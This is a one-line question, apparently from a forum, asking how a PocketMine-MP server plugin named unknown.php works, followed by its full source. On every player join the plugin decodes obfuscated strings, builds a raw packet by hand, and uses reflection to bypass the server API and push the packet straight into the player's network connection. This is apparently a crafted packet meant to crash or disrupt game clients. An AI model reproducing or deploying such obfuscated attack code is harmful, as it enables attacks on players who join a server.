Do you know how does this work?

unknown.php

<?php

namespace Nerahikada;

use pocketmine\event\player\PlayerJoinEvent;
use pocketmine\event\Listener;
use pocketmine\plugin\PluginBase;

class unknown extends PluginBase implements Listener{

	public function onEnable(){
		$this->getServer()->getPluginManager()->registerEvents($this, $this);
	}

	public function onJoin(PlayerJoinEvent $event){
		$f = function($s){return base64_decode(base64_decode(str_rot13($s)));};
		$buffer = $f('DHSODHSOCG0=');
		$value = 0x13;
		$buf = "";
		$value &= 0xffffffff;
		for($i = 0; $i < 5; ++$i){
			if(($value >> 7) !== 0){
				$buf .= chr($value | 0x80);
			}else{
				$buf .= chr($value & 0x7f);
				$buffer .= $buf . $f('H0qJp2WUBQ0=');
				break;
			}
			$value = (($value >> 7) & (PHP_INT_MAX >> 6));
		}
		$buffer .= $f('GRAPJTVmFG0=');
		$value = strlen($buffer) + 5;
		$buf = "";
		$value &= 0xffffffff;
		for($i = 0; $i < 5; ++$i){
			if(($value >> 7) !== 0){
				$buf .= chr($value | 0x80);
			}else{
				$buf .= chr($value & 0x7f);
				$payload = $buf . $f('D1R9CD==');
				break;
			}
			$value = (($value >> 7) & (PHP_INT_MAX >> 6));
		}
		$payload .= $buffer . $f('LxqEnRSOCG0=');
		$buffer = chr(0xfe) . zlib_encode($payload, ZLIB_ENCODING_DEFLATE, 7);
		$player = $event->getPlayer();
		$identifier = $player->getAddress() . ' ' . $player->getPort();
		$buffer = chr(0x01) . chr(strlen($identifier)) . $identifier . "\x00" . chr(3) . pack("N", strlen($buffer)) . pack("N", -1) . chr(0) . $buffer;
		$interface = (new \ReflectionClass($player))->getProperty('interface');
		$interface->setAccessible(true);
		$interface = $interface->getValue($player);
		$server = (new \ReflectionClass($interface))->getProperty('rakLib');
		$server->setAccessible(true);
		$server = $server->getValue($interface);
		$server->pushMainToThreadPacket($buffer);
	}

}